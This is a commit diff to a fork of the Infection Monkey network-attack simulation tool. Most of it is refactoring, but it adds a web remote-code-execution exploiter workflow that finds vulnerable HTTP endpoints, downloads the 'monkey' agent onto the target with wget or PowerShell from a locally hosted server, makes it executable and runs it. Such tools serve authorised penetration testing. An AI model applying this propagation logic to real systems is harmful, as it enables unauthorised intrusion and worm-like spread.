forked from p34709852/monkey
Notes fixed v.2
This commit is contained in:
parent
0d45a44d6b
commit
b8bda692b9
|
@ -393,10 +393,9 @@ class HTTPTools(object):
|
|||
Create http server for file transfer with a lock
|
||||
:param host: Variable with target's information
|
||||
:param src_path: Monkey's path on current system
|
||||
:param lock: Instance of lock
|
||||
:param local_ip:
|
||||
:param local_port:
|
||||
:return:
|
||||
:param local_ip: IP where to host server
|
||||
:param local_port: Port at which to host monkey's download
|
||||
:return: Server address in http://%s:%s/%s format and LockedHTTPServer handler
|
||||
"""
|
||||
# To avoid race conditions we pass a locked lock to http servers thread
|
||||
lock = Lock()
|
||||
|
@ -514,22 +513,22 @@ def get_monkey_depth():
|
|||
return WormConfiguration.depth
|
||||
|
||||
|
||||
def get_monkey_dest_path(src_path):
|
||||
def get_monkey_dest_path(url_to_monkey):
|
||||
"""
|
||||
Gets destination path from source path.
|
||||
:param src_path: source path of local monkey. egz : http://localserver:9999/monkey/windows-32.exe
|
||||
:param url_to_monkey: Hosted monkey's url. egz : http://localserver:9999/monkey/windows-32.exe
|
||||
:return: Corresponding monkey path from configuration
|
||||
"""
|
||||
from config import WormConfiguration
|
||||
if not src_path or ('linux' not in src_path and 'windows' not in src_path):
|
||||
LOG.error("Can't get destination path because source path %s is invalid.", src_path)
|
||||
if not url_to_monkey or ('linux' not in url_to_monkey and 'windows' not in url_to_monkey):
|
||||
LOG.error("Can't get destination path because source path %s is invalid.", url_to_monkey)
|
||||
return False
|
||||
try:
|
||||
if 'linux' in src_path:
|
||||
if 'linux' in url_to_monkey:
|
||||
return WormConfiguration.dropper_target_path_linux
|
||||
elif 'windows-32' in src_path:
|
||||
elif 'windows-32' in url_to_monkey:
|
||||
return WormConfiguration.dropper_target_path_win_32
|
||||
elif 'windows-64' in src_path:
|
||||
elif 'windows-64' in url_to_monkey:
|
||||
return WormConfiguration.dropper_target_path_win_64
|
||||
else:
|
||||
LOG.error("Could not figure out what type of monkey server was trying to upload, "
|
||||
|
|
|
@ -1,6 +1,5 @@
|
|||
import logging
|
||||
|
||||
from threading import Lock
|
||||
from exploit import HostExploiter
|
||||
from model import *
|
||||
from posixpath import join
|
||||
|
@ -24,9 +23,50 @@ class WebRCE(HostExploiter):
|
|||
self.HTTP = [str(port) for port in self._config.HTTP_PORTS]
|
||||
self.skip_exist = self._config.skip_exploit_if_file_exist
|
||||
|
||||
@abstractmethod
|
||||
def exploit_host(self):
|
||||
raise NotImplementedError()
|
||||
"""
|
||||
Example workflow of the framework. Most likely you will have to override this method.
|
||||
:return: True if exploited and False otherwise.
|
||||
"""
|
||||
# Get open ports
|
||||
ports = self.get_ports_w(self.HTTP, ["http"])
|
||||
if not ports:
|
||||
return False
|
||||
# Get urls to try to exploit
|
||||
urls = self.build_potential_urls(ports)
|
||||
vulnerable_urls = []
|
||||
for url in urls:
|
||||
if self.check_if_exploitable(url):
|
||||
vulnerable_urls.append(url)
|
||||
self._exploit_info['vulnerable_urls'] = vulnerable_urls
|
||||
|
||||
if not vulnerable_urls:
|
||||
return False
|
||||
|
||||
# Skip if monkey already exists and this option is given
|
||||
if self.skip_exist and self.check_remote_files(vulnerable_urls[0]):
|
||||
LOG.info("Host %s was already infected under the current configuration, done" % self.host)
|
||||
return True
|
||||
|
||||
# Check for targets architecture (if it's 32 or 64 bit)
|
||||
if not self.set_host_arch(vulnerable_urls[0]):
|
||||
return False
|
||||
|
||||
# Upload the right monkey to target
|
||||
data = self.upload_monkey(vulnerable_urls[0])
|
||||
|
||||
if data is not False and data['response'] is False:
|
||||
return False
|
||||
|
||||
# Change permissions to transform monkey into executable file
|
||||
if self.change_permissions(vulnerable_urls[0], data['path']) is False:
|
||||
return False
|
||||
|
||||
# Execute remote monkey
|
||||
if self.execute_remote_monkey(vulnerable_urls[0], data['path']) is False:
|
||||
return False
|
||||
|
||||
return True
|
||||
|
||||
@abstractmethod
|
||||
def exploit(self, url, command):
|
||||
|
@ -34,7 +74,7 @@ class WebRCE(HostExploiter):
|
|||
A reference to a method which implements web exploit logic.
|
||||
:param url: Url to send malicious packet to. Format: [http/https]://ip:port/extension.
|
||||
:param command: Command which will be executed on remote host
|
||||
:return: Command's output string. Or True/False if it's a blind exploit
|
||||
:return: RCE's output/True if successful or False if failed
|
||||
"""
|
||||
raise NotImplementedError()
|
||||
|
||||
|
@ -123,7 +163,7 @@ class WebRCE(HostExploiter):
|
|||
:return: Machine architecture string or false. Eg. 'i686', '64', 'x86_64', ...
|
||||
"""
|
||||
if 'linux' in self.host.os['type']:
|
||||
resp = self.exploit(url, ARCH_LINUX)
|
||||
resp = self.exploit(url, GET_ARCH_LINUX)
|
||||
if resp:
|
||||
# Pulls architecture string
|
||||
arch = re.search('(?<=Architecture:)\s+(\w+)', resp)
|
||||
|
@ -140,7 +180,7 @@ class WebRCE(HostExploiter):
|
|||
else:
|
||||
return False
|
||||
else:
|
||||
resp = self.exploit(url, ARCH_WINDOWS)
|
||||
resp = self.exploit(url, GET_ARCH_WINDOWS)
|
||||
if resp:
|
||||
if "64-bit" in resp:
|
||||
return "64"
|
||||
|
@ -224,10 +264,9 @@ class WebRCE(HostExploiter):
|
|||
LOG.error("Unknown target's os type. Skipping.")
|
||||
return False
|
||||
# Choose command:
|
||||
if commands:
|
||||
command = self.get_command(path, http_path, commands)
|
||||
else:
|
||||
command = self.get_command(path, http_path, {'windows': POWERSHELL_HTTP_UPLOAD, 'linux': WGET_HTTP_UPLOAD})
|
||||
if not commands:
|
||||
commands = {'windows': POWERSHELL_HTTP_UPLOAD, 'linux': WGET_HTTP_UPLOAD}
|
||||
command = self.get_command(path, http_path, commands)
|
||||
|
||||
resp = self.exploit(url, command)
|
||||
|
||||
|
|
|
@ -25,7 +25,7 @@ RUN_MONKEY = " %(monkey_path)s %(monkey_type)s %(parameters)s"
|
|||
# Commands used to check for architecture and if machine is exploitable
|
||||
CHECK_COMMAND = "echo %s" % ID_STRING
|
||||
# Architecture checking commands
|
||||
ARCH_WINDOWS = "wmic os get osarchitecture"
|
||||
ARCH_LINUX = "lscpu"
|
||||
GET_ARCH_WINDOWS = "wmic os get osarchitecture"
|
||||
GET_ARCH_LINUX = "lscpu"
|
||||
|
||||
DOWNLOAD_TIMEOUT = 300
|
|
@ -187,6 +187,10 @@ class HTTPServer(threading.Thread):
|
|||
class LockedHTTPServer(threading.Thread):
|
||||
"""
|
||||
Same as HTTPServer used for file downloads just with locks to avoid racing conditions.
|
||||
You create a lock instance and pass it to this server's constructor. Then acquire the lock
|
||||
before starting the server and after it. Once the server starts it will release the lock
|
||||
and subsequent code will be able to continue to execute. That way subsequent code will
|
||||
always call already running HTTP server
|
||||
"""
|
||||
# Seconds to wait until server stops
|
||||
STOP_TIMEOUT = 5
|
||||
|
|
Loading…
Reference in New Issue